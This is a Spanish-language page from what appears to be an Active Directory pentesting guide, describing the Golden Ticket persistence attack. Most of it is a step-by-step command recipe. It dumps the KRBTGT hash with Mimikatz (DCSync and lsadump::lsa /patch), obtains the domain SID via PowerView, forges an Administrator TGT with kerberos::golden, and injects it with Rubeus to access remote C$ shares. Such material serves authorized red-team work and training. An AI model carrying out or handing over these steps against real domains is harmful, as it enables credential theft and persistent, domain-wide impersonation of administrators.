> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/persistencia/golden-ticket.md). # Golden Ticket ## Descripción Un Golden Ticket es un Ticket Granting Ticket (TGT) falsificado, firmado por la cuenta KRBTGT del dominio. ## Windows ### Mimikatz 1\) Obtención de hash NT de usuario KRBTGT con Mimikatz. ```shell .\mimikatz.exe lsadump::dcsync /user:\krbtgt ``` 2\) Obtención de SID del dominio (actual). ```powershell # PowerView Get-DomainSID ``` 3\) Creación de Golden Ticket con Mimikatz. ```shell .\mimikatz.exe kerberos::golden /user:Administrator /domain: /sid: /krbtgt: /ticket:golden-ticket.kirbi ``` 4\) Importar Golden Ticket en sesión con Rubeus. ```shell .\Rubeus.exe createnetonly /program:cmd.exe /show .\Rubeus.exe ptt /ticket:golden-ticket.kirbi dir \\\C$ ``` ### Invoke-Mimikatz 1\) Obtención de hash NT de usuario KRBTGT y SID del dominio con Invoke-Mimikatz. ```powershell $session = New-PSSession -ComputerName Invoke-Command -FilePath C:\\Invoke-Mimikatz.ps1 -Session $session Enter-PSSession -Session $session Invoke-Mimikatz -Command '"lsadump::lsa /patch"' ``` 2\) Creación de Golden Ticket con Invoke-Mimikatz. ```powershell # Inyecta el ticket en el proceso actual de PowerShell Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /krbtgt: /ptt"' # Realiza el guardado del Golden Ticket Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /krbtgt: /ticket:golden-ticket.kirbi"' ``` 3\) Importar Golden Ticket en sesión con Rubeus. ```shell .\Rubeus.exe createnetonly /program:cmd.exe /show .\Rubeus.exe ptt /ticket:golden-ticket.kirbi dir \\\C$ ```